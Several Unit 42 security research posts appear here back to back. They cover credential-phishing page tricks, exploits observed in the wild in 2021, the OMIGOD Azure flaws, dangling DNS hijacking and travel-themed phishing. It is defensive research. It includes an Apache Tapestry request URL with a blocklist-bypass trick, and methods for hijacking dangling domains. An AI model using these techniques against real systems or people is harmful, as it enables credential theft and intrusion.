Scammers are also adding clever tactics to further deceive users. In some instances, they are custom building their “login” templates to match the look and feel of the corporate email systems used by the specific companies they are targeting. In others, they are automatically detecting the affiliated company based on the domain portion of the user’s email address and then integrating that company’s logo into a fraudulent webpage.
Figure 2. Example of JavaScript used to identify an organization from a victim’s email address and then incorporate its logo into followup pages.
In addition, many criminals are adding logic into their code to ensure that credentials are accurately entered by the user. An incorrectly formatted email address or blank password will generate an error directing the user to retry. Some criminals are also automatically responding to the first correctly formatted attempt with "Incorrect password please try again." These techniques increase the likelihood of criminals receiving valid passwords and potentially reduces the suspicion of cautious users who perhaps first enter bogus credentials to see if the request is legitimate.
Figure 3. Example of JavaScript used to validate credentials.
Suppose scammers believe that their chances of getting a user to open a file attachment are too low or that they can create a somewhat believable fully qualified domain name. In that case, they can also simply point the user to a website on a legitimate hosting service where the above techniques are incorporated within a hosted page. Some of the recent malicious websites a user could mistakenly navigate to include:
Once a user enters and submits credentials, the web browser sends the information in an HTTP post request to a URL most often ending in *.php. As a hypertext processor, PHP enables the scammer to easily capture any received credentials, decode them and store them within a database. In addition, while the web domains enabling these scams can be purchased and maintained by criminals, we see significant use of previously compromised and coopted legitimate domains to meet these scammers’ needs.
This malicious use of coopted legitimate infrastructure poses two primary challenges for network defenders. First, identifying the traffic as malicious is difficult due to it taking place between two potentially trusted networks. Second, blocking the legitimate domain, once identified as hosting malicious activities, is often not possible, as it would also block the domain’s legitimate and often required content. For these reasons as well as the zero cost, hackers are increasingly relying on coopted infrastructure to meet their desired ends.
To help keep users from becoming suspicious when they fail to log in to a fake site, scammers commonly incorporate one of the following:
Redirection to the legitimate site the user believes they are logging in to, which – if already logged in – will take them directly into their account, thereby increasing their sense of the request’s legitimacy.
A “service unavailable error” recommending they try again later.
A “file not found” error.
A “scanned file locked” error and “redirecting back to your account,” which then redirects the user back to their legitimate inbox.
Generic content.
Content custom-crafted for the phishing attempt.
Once criminals have valid user credentials, they are one step closer to defrauding a company or user of their money. Using the harvested credentials, a criminal will conduct an initial reconnaissance of the user’s documents, transactions and correspondence. Armed with this information, a criminal is now better informed to be able to: identify additional targets of value, understand normal business processes and approval chains, leverage the user’s documents or shared file access to create custom phishing documents, and use the account for financial gain or to pivot into more lucrative environments by masquerading as the account user.
Conclusion
Malicious tactics such as those described above can be very challenging for an enterprise or user to detect. In addition, most cybersecurity products will often not automatically detect these activities as malicious due to scammers using exact copies of legitimate webpages in their scams and not incorporating trojans, spyware, keyloggers or other malware into their harvesting attempts. Unit 42 researchers recommend the following to mitigate the risk of email compromise posed by the above tactics:
Implement multi-factor authentication for all business and personal accounts.
Continually update and train users on the evolving tactics and social engineering used in BEC/personal EAC scams.
Incorporate the Zero Trust mindset, “Never trust, always verify.”
Ensure users and administrators understand that even if a file successfully passes a virus scan, it could still have a malicious purpose.
Ensure users understand which services are single sign-on and the legitimate URLs for accessing those accounts.
Change passwords regularly, use one complex password per account and use a password manager to keep track of credentials.
High-profile software supply chain attacks such as SolarWinds and Kaseya VSA have shed a glaring light on the disparity between organizations’ perceptions of security within their cloud infrastructure, and the reality of threats in their supply chains that can impact business catastrophically.
In the Unit 42 Cloud Threat Report, 2H 2021, our researchers dive deep into the full scope of supply chain attacks in the cloud and explain often misunderstood details about how they occur. We also provide actionable recommendations any organization can adopt immediately to begin protecting their software supply chains in the cloud.
How the Research Was Conducted
We analyzed data from a variety of public data sources around the world in order to draw conclusions about the growing threats organizations face today in their software supply chains. In our analysis, we found:
63% of third-party code templates used in building cloud infrastructure contained insecure configurations.
96% of third-party container applications deployed in cloud infrastructure contain known vulnerabilities.
In addition to analyzing data, our researchers were commissioned by a large SaaS provider (a customer of Palo Alto Networks) to run a red team exercise against their software development environment. In just three days, a single Unit 42 researcher discovered critical software development flaws that left the customer vulnerable to an attack similar to those on SolarWinds and Kaseya VSA.
The customer whose development environment was tested in the red team exercise has what most would consider a mature cloud security posture. However, their development environment contained several critical misconfigurations and vulnerabilities, enabling the Unit 42 team to take over the customer’s cloud infrastructure in a matter of days.
Third-Party Code != Secure Code
In most supply chain attacks, an attacker compromises a vendor and inserts malicious code in software used by customers. Cloud infrastructure can fall prey to a similar approach in which unvetted third-party code could introduce security flaws and give attackers access to sensitive data in the cloud environment. Additionally, unless organizations verify sources, third-party code can come from anyone, including an Advanced Persistent Threat (APT).
Figure 1. As an example of the prevalence of misconfigurations, Unit 42 researchers analyzed public Terraform modules by number of misconfigurations (left) and types of misconfigurations and their percentages (right). Source: Unit 42 Cloud Threat Report, 2H 2021.
Organizations Need to Shift Security Left
Teams continue to neglect DevOps security, due in part to lack of attention to supply chain threats. Cloud native applications have a long chain of dependencies, and those dependencies have dependences of their own. DevOps and security teams need to gain visibility into the bill of materials in every cloud workload in order to evaluate risk at every stage of the dependency chain and establish guardrails.
Secure Your Software Supply Chain in the Cloud
While the report provides key knowledge about software supply chain attacks themselves, the main focus is on how you can protect your organization from this growing threat starting immediately.
Download your free copy of the Unit 42 Cloud Threat Report, 2H 2021, today to learn how common supply chain issues undermine security in the cloud and what you can do to gain confidence in your supply chain.
Unit 42 researchers continue to observe network security trends, tracking how cybercriminals take advantage of vulnerabilities in the real world. The following sections present our analysis of the most recently published vulnerabilities, including their severity and category distribution. Additionally, we provide insight into how the vulnerabilities are exploited in the wild based on real-world data collected from Palo Alto Networks Next-Generation Firewalls. We highlight vulnerabilities ranked medium severity and above that were newly published from May-July 2021 in order to raise awareness of their active exploits in the wild. We then draw conclusions about the most commonly exploited vulnerabilities we observed attackers using, as well as the severity, category and origin of each attack. These observations underscore the need for prompt patching and use of security best practices, while providing insights organizations can use to focus their efforts when defending against cyberattacks.
Analysis of the Latest Published Vulnerabilities
In total, 5,308 new Common Vulnerabilities and Exposures (CVEs) were published from May-July 2021. The following sections rank many of these vulnerabilities in terms of their severity and the type of threat they represent. We believe tracking shifts in these distributions can provide insights into the latest network security trends and better equip defenders to protect their organizations against cybercriminals.
How Severe Are the Latest Vulnerabilities?
We focus on vulnerabilities categorized as medium severity and above. In this quarter, we monitored a total of 4,120 newly released severe vulnerabilities, ranging from medium to critical severity. We examined the proof of concept (PoC) ratio – a measure of whether a vulnerability has associated public exploit code – to better understand the potential risks. We use public sources to find PoCs, such as Exploit-DB, GitHub and Metasploit.
Severity
Count
Ratio
PoC Availability
Critical
496
12.0%
8.3%
High
1777
43.1%
4.1%
Medium
1847
44.9%
4.1%
Table 1. Severity distribution for CVEs registered in May-July 2021.
Figure 1. Severity distribution for CVEs registered in May-July 2021.
Compared with the previous quarter, the percent of vulnerabilities classified as critical decreased by 3.5 percentage points, and the percentage of medium ranked vulnerabilities is slightly higher than before. The PoC availability decreased, especially for the high and medium severity categories. These categories used to have PoC availability of 8.1% and 7.0%, respectively, but they both decreased to 4.1% for May-July. It is possible the vulnerabilities revealed in this quarter are not as useful for attackers to leverage; however, the critical vulnerabilities still have a high PoC availability, which could raise awareness to defenders.
Vulnerability Category Distribution
The vulnerability category is also important to understand – it contributes to determining the severity of a vulnerability and also relates to how feasible a vulnerability is for attackers to exploit. Out of the 4,120 newly published CVEs we focused on (medium to critical severity), 28.2% are classified as local vulnerabilities, requiring prior access to compromised systems, while the remaining 71.8% are remote vulnerabilities, which can be exploited over a network. The most common types of vulnerabilities newly disclosed publicly from May-July 2021 are shown below:
Ranking
Vulnerability Category
1
Cross-Site Scripting
2
Information Disclosure
3
Denial of Service
4
Buffer Overflow
5
Privilege Escalation
6
Out-of-Bounds Write
7
Use-After-Free
8
SQL Injection
9
Out-of-Bounds Read
10
Code Execution
Table 2. CVEs registered in May-July 2021, organized by category and ranked in terms of which categories contain the most vulnerabilities.
Figure 2. Vulnerability category distribution for CVEs registered in May-July 2021.
Cross-site scripting remains ranked first, and more information disclosure vulnerabilities were published this quarter than last quarter. At the same time, code execution vulnerabilities decreased in May-July 2021.
Network Security Trends: Analysis of the Latest Exploits in the Wild
Data Collection
By leveraging Palo Alto Networks Next-Generation Firewalls as sensors on the perimeter, Unit 42 researchers observed malicious activities from May-July 2021. We have analyzed more than 10 million sessions in total for this quarter. The malicious traffic is further processed based on metrics such as IP addresses, port numbers and timestamps. This ensures the uniqueness of each attack session and thus eliminates potential data skews. We filtered out and finalized 2.29 million valid malicious sessions. The researchers then correlated the refined data with other attributes to infer attack trends over time to get a picture of the threat landscape.
How Severe Were the Attacks Exploited in the Wild?
To arrive at 2.29 million valid malicious sessions, we exclude low severity signature triggers that are used to detect scanning and brute force attacks from the original set of more than 10 million. Therefore, we consider exploitable vulnerabilities with a severity ranking of medium and higher (based on the CVSS v3 Score) as a verified attack.
Figure 3. Attack severity distribution in May-July 2021.
Table 3 shows the session count and ratio of attacks grouped by the severity of each vulnerability.
Severity
Session Count
Ratio
Critical
823,323
36.0%
High
865,712
37.8%
Medium
599,649
26.2%
Table 3. Attack severity distribution ratio in May-July 2021.
Compared with the previous quarters’ severity distribution, this quarter has a noticeable change in the ratios. Critical, high and medium severity attacks are closer in number to each other than before, especially for critical and high severity. However, critical and high severities are still the primary attacks that we monitored.
When Did the Network Attacks Occur?
For this installment of our network security trends analysis, we collected data from May-July 2021 and discovered that attacks occurred with similar frequency for each of the severity rankings we focused on. In other words, the critical, high and medium severity exploits happen with similar ratios.
Figure 4. Attack severity distribution measured biweekly from May-July 2021.
In this quarter, we saw that attackers frequently used newer vulnerabilities disclosed recently, especially in 2020-2021. The newly revealed vulnerabilities could be severe because of a late or improper patch. This highlights the importance of updating security products and applying software patches as soon as they become available to protect against the most recently discovered vulnerabilities.
Figure 5. Observed attacks broken down by the year in which the exploited CVE was disclosed, measured biweekly from May-July 2021.
Latest Attacks: Exploits in the Wild
We paid attention to the latest published attacks, and the following exploits stood out due to their PoC availability, severity and ease of exploitation. We have provided snippets showing how attackers used open-source tools to compromise the different targets to allow defenders to better understand how the exploit operates.
Apache Airflow Experimental API has an unauthenticated request flaw with CVE-2020-13927. Together with the Example Dag argument, there could be an unauthenticated remote code execution (RCE) vulnerability in Airflow, allowing malicious network traffic to make an HTTP request toward a specific URL. The vulnerability was published in mid-July and is actively exploited in the wild.
An attacker was able to download the file AppModule.class by requesting the specific URL, http://localhost:8080/assets/something/services/AppModule.class , which contains an HMAC secret key from Apache Tapestry. For this vulnerability, even though Apache Tapestry has a blocklist solution, it can simply be bypassed by appending a / at the end of the URL Then the attackers can get the HMAC secret key.
Figure 7. Apache Tapestry ClasspathAssetRequestHandler information disclosure vulnerability.
A remote code execution vulnerability on VMware vCenter Server was disclosed in May, and it is actively exploited among networks. We captured both the scanning checkers traffic, shown in Figure 8, and the exploit attempt, shown in Figure 9, for this vulnerability. A malicious actor can exploit the vulnerability by executing commands with unauthorized privileges.
Figure 8. VMware vCenter Server remote code execution vulnerability checker.Figure 9. VMware vCenter Server remote code execution vulnerability.
Nacos has a backdoor that enables Nacos servers to bypass and skip authentication checks. The authentication check relies on the user-agent HTTP header. It can be spoofed to allow an attacker to carry out administrative privileges. This vulnerability was published at the end of April.
Cisco published multiple vulnerabilities in May. Cisco HyperFlex HX allows unauthenticated, remote access to perform command injection attacks with specific URLs.
Xinuos OpenServer allows attackers to execute arbitrary commands by a cgi-bin/printbook URL in the outputform parameter via shell metacharacters. This vulnerability was revealed at the end of December 2020; however, we started to see some active exploits in this quarter.
Before the 1.4.0 version of Dragonfly gem for Ruby, Dragonfly gem disclosed an argument injection vulnerability that allows remote attackers to read and write arbitrary files. It crafts the URL using base64 encode when the verify_url option is disabled. This vulnerability was published at the end of April, and we see it is actively being used among attackers.
An arbitrary command injection was discovered in mid-May related to WebSVN via search parameters. It uses shell metacharacters to insert commands. We observed several exploitation attempts through the network during the last three months.
A Java deserialization vulnerability has been disclosed in ForgeRock AM server through the jato.pageSession parameter. It can be triggered by sending a crafted /ccversion/* path. It does not require authentication. It was published at the end of July, and we captured some attempts as shown below.
In the meantime, there are some other lower severity, newly published vulnerabilities that attackers are actively trying to exploit in networks. They are:
Palo Alto Networks customers are fully protected from the attacks discussed above by installing the latest Next-Generation Firewalls.
Attack Category Distribution
We classified each network attack by category and ranked them in table 4. Code execution continues to rank first, as seen in other quarters, which is unsurprising. Attackers typically want to gain as much control as possible over the systems they target. Information disclosure and SQL injection attacks increased this quarter – mature attack services and tools make it relatively simple for attackers to succeed with these types of exploits.
Figure 16 shows the session-based attack category distribution. When fully compromising a target wasn't an option, attackers demonstrated interest in obtaining sensitive data through directory traversal and cross-site scripting attacks.
Where Did the Attacks Originate?
After identifying the region from which each network attack originated, we discovered that the largest number of them seem to originate from the United States, followed by China and Russia. However, we recognize that the attackers might leverage proxy servers and VPNs located in those countries to hide their actual physical locations.
Figure 17. Locations ranked in terms of how frequently they were the origin of observed attacks from May-July 2021.Figure 18. Attack geolocation distribution from May-July 2021.
Conclusion
The vulnerabilities published in May-July 2021 indicate that web applications remain popular and that critical vulnerabilities are more likely to have PoCs publicly available. In the meantime, we keep capturing newly published vulnerabilities that are exploited in the wild. This emphasizes the need for organizations to promptly patch their systems and implement security best practices – attackers will make a concerted effort to expand their arsenal of exploits whenever possible.
While cybercriminals will never cease their malicious activities, Palo Alto Networks customers are fully protected from the attacks discussed here by Next-Generation Firewalls. Additional mitigations include:
Run a Best Practice Assessment to identify where your configuration could be altered to improve your security posture.
Continuously update your Next-Generation Firewalls with the latest Palo Alto Networks Threat Prevention content (e.g. versions 8447 and above).
On Sept. 14, 2021, Microsoft’s Security Response Center (MSRC) released security patches detailing the findings of four critical vulnerabilities affecting the Microsoft Azure package Open Management Infrastructure (OMI). The open-source OMI package is designed to provide a portable infrastructure backbone for web-based management tools, such as diagnostic monitoring, log analytic services and automation functionality within UNIX and Linux systems. OMI is used by Microsoft Azure to manage UNIX packages within Azure virtual machines (VMs), containers and serverless cloud instances. According to Microsoft’s security release notes, any system created, or which has updated its OMI package, after Aug. 11, 2021, should automatically be patched.
Four Critical OMI Vulnerabilities
The four critical vulnerabilities discovered by security researchers from Wiz include one unauthenticated remote code execution (RCE) and three privilege escalation vulnerabilities.
Dubbed OMIGOD, the four vulnerabilities were found to directly affect Azure cloud instances using the following Azure services:
Azure Automation
Azure Automatic Update
Azure Operations Management Suite
Azure Log Analytics
Azure Configuration Management
Azure Diagnostics
Prisma Cloud Compute Defender agents can detect whether any Azure system is vulnerable to any of the four CVEs. Additionally, Prisma Cloud users can also build a custom vulnerability detection rule to identify if any system is running an OMI package with a version previous to 1.6.8.1.
To build a custom vulnerability detection rule, open Prisma Cloud and navigate to the following page:
Palo Alto Networks Azure-based VM- and CN-Series Firewall instances do not use the OMI package and are not vulnerable to the OMI critical vulnerabilities.
Remediation
Prisma Cloud will create an alert for any system which maintains an OMI package vulnerable to the OMI critical vulnerabilities. Should a system be identified as vulnerable, the following steps should be taken for that Azure Cloud Instance:
Log on to the Azure instance using SSH.
Execute the following command:
Debian – sudo apt list omi
CentOS – sudo yum list omi
Determine if OMI version is < 1.6.8.1.
If the system maintains an older version of OMI, perform the steps listed within the OMI GitHub Page.
Conclusion
On Sept. 14, 2021, security researchers from Wiz released a report detailing the findings of four critical vulnerabilities affecting the Microsoft Azure package OMI. Dubbed OMIGOD, the four vulnerabilities were found to directly affect Azure Cloud Instances. Palo Alto Networks Azure-based VM and CN Series Firewall instances do not use the OMI package and are not vulnerable to the OMI critical vulnerabilities. Customers of Prisma Cloud have the ability to create alerts to detect vulnerabilities.
The Domain Name System (DNS) provides the naming service which maps mnemonic domain names to various resources such as IP addresses, email servers and so on. As one of the most fundamental internet components, DNS and domain names usually serve as trusted anchors for users to access desired internet resources. As a result, threat actors constantly attempt to exploit DNS for illicit online activities. In particular, many attackers try to hijack domains with benign reputations. Several well-known techniques, including cache poisoning, malicious resolvers and domain registrar account hijacking, are used to achieve domain hijacking. However, great efforts like DNSSEC have been made to strengthen the DNS ecosystem in recent decades, and these hijacking techniques have become more challenging to achieve in practice.
Instead, a recent study has shown that a largely overlooked threat in DNS – dangling DNS records – could be easily exploited for domain hijacking. In this blog, we will introduce several types of dangling DNS records and multiple techniques that can be used to exploit the dangling records. We built a detector that can actively identify dangling records from our collected DNS data.
Our results show that the dangling domain is a real and prevalent threat. Specifically, we have detected 317,000 unsafe dangling domains in total in our passive DNS data set. More worrisomely, even well-managed DNS zones have a non-trivial number of dangling domains. In particular, we found 13 dangling domains under the top-level domain (TLD) gov, 197 under the TLD edu, and 4,767 are detected under the Tranco top 2,000. All of these high-profile domains could be exploited for attacks like phishing and scams.
To protect users, once our detector identifies a dangling domain, the knowledge is distributed to multiple Palo Alto Networks security subscriptions, including DNS Security and Advanced URL Filtering. We also actively notify the corresponding domain registrars of the affected domains and the affected domain owners if the whois data is available.
Dangling Domains: An Overlooked Security Threat
A DNS record is essentially a pointer, where the rrname points to the network resource represented in rdata. When a resource in rdata is abandoned and released, the DNS record becomes dangling, and the rrname is called a dangling domain. If the abandoned resource could potentially be controlled by anyone besides the owners of the rrname, this dangling DNS record is considered hijackable. Therefore, as a security best practice, a DNS record should be purged from its corresponding DNS zone once it becomes dangling.
Unfortunately, in practice, domain owners often forget to do the cleaning, resulting in many dangling DNS records.
There are tens of DNS record types in DNS specifications, several of which could lead to hijackable dangling records. In this blog, we focus on three types of records, as listed in Table 1.
Type
Description
CNAME
Indicate the rrname is an alias for the canonical name rdata.
MX
Specify the mail server responsible for accepting emails on behalf of the domain.
NS
Delegate to an authoritative name server.
Table 1. Types of dangling DNS records studied here.
A CNAME record specifies the canonical name (rdata) of an alias domain (rrname). A DNS query for the alias will be resolved to its canonical name, which is further resolved to an A/AAAA record. A dangling CNAME record could result in the domain name in rrname being hijacked by attackers.
For instance, in the following CNAME record, dangling.example[.]com points to an expired domain. Therefore, this CNAME record should be purged from the zone file. Otherwise, dangling.example[.]com will be hijacked if the expired domain expired[.]com is registered by an attacker.
dangling.example[.]com CNAME expired[.]com
An MX record specifies the mail server responsible for receiving emails on behalf of the domain in rrname. A domain can have multiple MX records with different priorities. The MX record with higher priority will be used first. A hijacked dangling MX record allows attackers to send and receive emails under the affected domain in rrname.
An NS record delegates a domain (rrname) to an authoritative DNS name server (aDNS) to answer queries about names under that domain. If a dangling NS record is exploited, attackers will be able to control the aDNS and redirect all domain visitors to any IP address. Even worse, the transitive trust that is built into DNS could make all domains that directly or indirectly depend on the dangling NS record vulnerable. A domain usually has multiple NS records, and DNS resolvers can use different algorithms to decide which NS record to use. When only one of the multiple NS records is dangling, attackers can leverage techniques like denial of service and NS pinning to force DNS resolvers to use the dangling NS record.
Dangling Domain Hijacking
A dangling record is safe as long as the abandoned resource cannot be manipulated by anyone other than the domain owner. Otherwise, it is an unsafe dangling record. A previous study, “All Your DNS Records Point to Us,” has published multiple methods that can be used to exploit dangling records. Here, we describe two of them for dangling records for which the rdata is a domain.
The first method can be used if the rdata in all of the three DNS record types in Table 1 is a domain name. The domain in rdata could expire and thus could be re-registered by attackers. Registering expired rdata is significantly different from previous attacks that exploit the residual trust of the expired domains themselves. In dangling domain hijacking, the attackers instead abuse the trust of the unexpired rrname. There are several reasons why domain owners frequently neglect such dangling records. One reason is that there are usually multiple MX/NS records, and some are still working. Thus, the services depending on these MX/NS records are usually not interrupted. Another common reason is that the services pointed to by the dangling records are no longer used and no one bothers to update the record.
The second method takes advantage of abandoned third-party services and is sketched in Figure 1. Third-party services are extensively used in modern websites. For instance, GitHub and WordPress are widely used to build home pages using the virtual hosting technique. Users add a DNS record in their DNS zone file pointing custom domains to the domains or IP addresses where the services are hosted.
For example, a user wants to host a home page using WordPress on the domain blog.mydom[.]com. The user needs to add the following record to the zone file of mydom[.]com:
blog.mydom[.]com CNAME example.wordpress[.]com
where example.wordpress[.]com is a domain name allocated by WordPress. Alternatively, an A record could be added instead of the CNAME record:
blog.mydom[.]com A 192[.]0.78.24
Then, the user’s WordPress account can claim blog.mydom[.]com so that all visits to the domain will be directed to the website set up on WordPress using the virtual hosting technique. Later, when the user does not want to use WordPress anymore, blog.mydom[.]com may be unclaimed in the user’s WordPress account. If the above CNAME/A DNS record is not removed from the zone file of mydom.com, now the record becomes dangling. To exploit the dangling record, an attacker simply needs to register a WordPress account and then claim the ownership of blog.mydom[.]com in the attacker’s WordPress account. Although the attacker does not own example.wordpress[.]com, all visits to blog.mydom[.]com will still be directed to the website set up by the attacker on WordPress. Actually, the domain example.wordpress[.]com in rdata does not matter here because virtual hosting uses the Host field (i.e. blog.mydom[.]com) in HTTP requests to serve different websites. That is why a user can also use an A record to point to the same IP address owned by WordPress.
The same risk applies to GitHub, as stated in their tutorial – “Make sure you add your custom domain to your GitHub Pages site before configuring your custom domain with your DNS provider. Configuring your custom domain with your DNS provider without adding your custom domain to GitHub could result in someone else being able to host a site on one of your subdomains.”
Figure 1. Illustration of the workflow when a client browser visits a domain hosted on WordPress.Dangling domain hijacking can significantly increase the efficacy of scamming and phishing. A common modus operandi for attackers is to register a domain with a benign reputation or to use a domain similar to well-known legitimate ones (as seen with squatting domains). However, these techniques are limited in efficacy, and vigilant users can easily spot them. Moreover, many automatic systems such as proactive malicious NRD detector and squatting domain detector have been deployed in production to detect these malicious domains.
With dangling domain hijacking, on the other hand, attackers can easily abuse domains with clean history at an affordable cost. In particular, the whois information of these hijacked dangling domains remains the same. Even worse, dangling subdomains often inherit the reputation of their parent domains, some of which are well-known and have good reputations. Therefore, it is critical to protect users against unsafe dangling domains.
Dangling Domain Detection
Once we know the techniques used to hijack dangling domains, it is straightforward to implement the detector. For a domain in rdata, we check whether the domain has expired. If so, the DNS record is dangling. If the rdata indicates a third-party service, we check whether the rrname can be claimed in the corresponding third-party service. Since a domain can become dangling at any time, we need to periodically check every valid DNS record. Therefore, our detector checks every valid DNS record in our passive DNS every few weeks. Meanwhile, to protect users in a timely fashion, we also conduct daily detection for all actively queried DNS records in the past day.
Prevalence of Dangling Domains
With our dangling domain detector, we have detected 317,000 unsafe dangling domains in total. Figure 2 shows the breakdown of dangling domain types, with 63.1% being expired rdata, 36.9% from GitHub and 0.1% from WordPress. In addition, we show their distribution of DNS record types in Figure 3, revealing that the vast majority of these records are CNAME. Surprisingly, we did not detect dangling MX records. There are two possible reasons for this. First, most MX records in the wild point to third-party mailing services such as Mailgun. Second, according to the previous study, it is rare in practice for expired rdata to result in dangling MX records.
Figure 2. Breakdown of dangling domain types.Figure 3. Distribution of DNS record type.
To understand the prevalence of dangling domains, we checked the passive DNS dataset from May 22-June 21, to see how many are actively queried. We excluded 88 wildcard dangling domains because matching them is computationally expensive. The number of unique dangling domains resolved each day is presented in Figure 4. It shows that several thousand dangling domains are queried daily. There are two spikes on 2021-06-09 and 2021-06-12 in Figure 4, and further analysis shows that the spikes are caused by a single domain, which corresponds to over 11,000 unique dangling subdomains on the two days.
Figure 4. The number of unique dangling domains resolved each day from May 22-June 21.
To understand the risks of these dangling domains, we aggregated the 317,000 dangling domains by TLD and presented the top 60 TLDs in Figure 5. The top TLD is com, which accounts for 55.2% of all dangling domains. Of particular interest, the TLDs edu and gov are considered well-managed DNS zones (adhering to eligibility requirements and strict process for registering new domains), but they still have 197 and 13 dangling domains, respectively. As a result, attackers could exploit the trust in edu and gov for attacks like phishing and scams. Additionally, we checked these dangling domains to see if they are subdomains of Tranco’s top 1 million domains, which implies inherited trust. The results show that 38,000 (12.0%) of them are under Tranco top 1 million domains. We present the distribution of their Tranco rank in Figure 6. In particular, 4,767 of them are under the Tranco top 2,000.
Figure 5. The number of dangling domains aggregated by TLD.Figure 6. The Tranco rank distribution for the 38,000 domains that are subdomains of Tranco top 1 million domains.
Case Studies
During our evaluation of the detection results, we observed many compelling cases and patterns. In this section, we describe several representative instances.
Subdomains Inherit Trust From High-Profile Parents
Due to the hierarchical structure of the DNS system, subdomains usually inherit trust from their parents, and a subdomain is often given the same credibility as its parent. For instance, the web contents hosted on a subdomain under edu are considered official information from colleges or universities. This makes dangling domains under reputable domains quite attractive to attackers. During our study, we spotted multiple such cases. Two examples are shown in Figure 7.
Figure 7. Two examples of dangling domains under edu.
The two domains in rrname are owned by two well-known universities in the U.S. Visitors to the websites hosted on these domains are likely to consider the information as valid and official from the universities. As a result, if an attacker hosts malicious content or carries out spear phishing under such subdomains, even the most vigilant users could fall victim.
Typos Cause Dangling DNS Records
Typos are a common cause of dangling domains. We found many dangling records where rdata is obviously a typo. For example, in Figure 8, the CNAME DNS record, cdcr.[xxxxx.]edu points to a subdomain under cloudlfare[.]net which has expired at the time of writing. We speculate with high confidence that cloudlfare[.]net is a typo of cloudflare.net, which provides a content delivery network (CDN) and other web-related services.
Figure 8. Typos are a common cause of dangling domains, as shown in the example here.
We dug deeper to figure out why the administrator of cdcr.[xxxx.]edu did not notice this error. First, according to information we found online, the dangling domain cdcr.[xxxx.]edu is probably the home page for one of the university’s communities. Our passive DNS data shows that the first time the dangling DNS record was seen was Oct. 17, 2017. Before this date, cdcr.[xxxx.]edu points to webhost302.[xxxx.]edu using the CNAME record. This suggests that the domain administrator intended to switch to Cloudflare on Oct. 17, 2017. Then, we extracted the WHOIS data of cloudlfare[.]net, as shown in Figure 9. We can see that the domain was registered on Dec. 7, 2017, about two months later, after the dangling DNS record was created. Our passive DNS data of cloudlfare[.]net matches its registration date. This implies that cloudlfare[.]net was probably not registered at the time cdcr.[xxxx.]edu started to point to cdcr.[xxxx.]edu.cdn.cloudlfare[.]net, and the DNS record was dangling at the time of creation. In summary, it remains unknown why the administrator of cdcr.[xxxx.]edu did not notice this error.
Figure 9. WHOIS data of cloudlfare[.]net.
Dependency on Expired Services
As we mentioned above, a significant number of domains point to third-party services. These third-party services could discontinue or migrate to a new domain to carry out services. In such cases, the original domains could expire, and thus all domains pointing to them become dangling. Take the DNS record in Figure 10 as an example.
Figure 10. The example shows how a domain can become dangling when it points to a third-party service that has been discontinued or has migrated to a new domain.
According to slides still hosted online, getwebsitesearch[.]com was owned by a startup that provided custom search engines to websites. However, the company has discontinued its service, and thus the domain has expired.
Dangling Wildcard DNS Record
Most dangling DNS records affect only a single domain. However, we found 88 wildcard DNS records that became dangling in our passive DNS. Such dangling records are quite interesting in that all nonexistent domains under the related rrname could be hijacked by attackers. For example, because of the dangling record shown in Figure 11, all domains not explicitly specified in the zone file of ch[xxxxxxx]wer[.]com could be hijacked. In particular, attackers could spawn an infinite number of subdomains for malicious purposes such as hosting phishing content and acting as command and control. Even worse, the presence of dangling wildcard DNS records makes it more difficult for defenders to block the hijacked domains. The only reliable defense is to remove the dangling record or defensively take over the wildcard domain.
Figure 11. An example of a dangling wildcard DNS record.
Dangling NS Record
As described above, a dangling NS record could render all domains delegated to it hijackable. Therefore, we checked how many dangling domains are detected in our data set. In total, we found 1,974 dangling NS records under 1,659 unique root domains. Note that we excluded the DNS records for which the root domains of rrname and rdata are the same. The DNS records where the rrname has expired were also excluded. Interestingly, we found that many rrnames are delegated to a single expired name server domain. For instance, 15 unique rrnames with different root domains are delegated to the same name server ns.a.cloudtabo[.]com and ns.b.cloudtabo[.]com. As a result, the attacker just needs to control a single domain to hijack 15 others. We manually checked these 15 rrnames and found that they all have redundant NS records pointing to name servers ns.c.clouddra[.]com and ns.d.clouddra[.]com. Since clouddra[.]com is still valid, the affected 15 domains can still work properly. However, attackers can still hijack partial traffic to these 15 domains and potentially take full control by leveraging denial-of-service and NS pinning techniques.
Conclusion
This blog has introduced the concept of dangling DNS records and demonstrated that dangling domains are still prevalent and can pose serious security threats. In particular, we have found 317,000 dangling domains, including thousands on high-profile DNS zones such as edu, gov and Tranco top.
Palo Alto Networks identifies the detected dangling domains with the grayware category through our security subscriptions for Next-Generation Firewalls, including DNS Security and Advanced URL Filtering. Our customers are protected against damage from the risky domains mentioned above as well as against other risky domains captured by our system.
Palo Alto Networks has notified the owners of the detected dangling domains. The dangling domains mentioned in this blog have been defensively taken over and are no longer serving malicious content.
At the beginning of the pandemic, when people all over the world scrambled to get protective supplies – personal protective equipment, sanitizer and toilet paper – threat actors tried to take advantage of supply issues by selling fake products. They also tried to trick people by purporting to be credible health organizations (such as the WHO) or pharmaceutical companies, all while the actual organizations and companies were trying to make sense of the virus and come up with metrics, protective measures and vaccines.
Although the pandemic is not over, as the world opens up borders and the vaccines slow down the spread of the virus, people who have been cooped up at home are eager to travel. Threat actors are taking advantage of this trend by using travel as a theme for phishing people and stealing data – account credentials, financial information and so on – subsequently selling this data in underground markets.
Here, we first show that there has been a substantial increase in the registration of travel-related phishing URLs in 2021. Second, we provide two real-life examples demonstrating attackers abusing the travel theme, including the Dridex malware distribution and the abuse of Firebase in phishing campaigns. Third, we talk about how threat actors use various data that they steal. Finally, we conclude with a discussion of best practices for both individuals and organizations.
To conduct social engineering, threat actors have always leveraged malicious domains and URLs impersonating known brands and websites familiar to end users. The content served on these malicious domains or URLs is crafted to mislead end users, since they look and feel very similar to brands that users know.
Alternatively, threat actors also send phishing emails to end users to trick them into either downloading malicious attachments or clicking on links that lead to malicious content – website pages or attachments. Threat actors use themes that invoke a sense of urgency (such as outstanding invoices) or appeal to the end user emotionally (such as travel-themed emails sent as the world opens up).
Increase in the Number of Travel-themed Phishing URLs
Unit 42 analyzed travel-themed phishing URLs created between October 2019 and August 2021. As seen in Figure 1 below, there is a gradual upward trend in the registration of phishing URLs starting early 2021, with a significant increase in June 2021. Though the new phishing URLs did not continue to be registered at quite the frenzied rate we saw in June, throughout the summer, threat actors created new travel-themed phishing URLs at a much higher level than at any time in 2020.
Figure 1. Number of new travel-themed phishing URLs registered between October 2019 and August 2021.
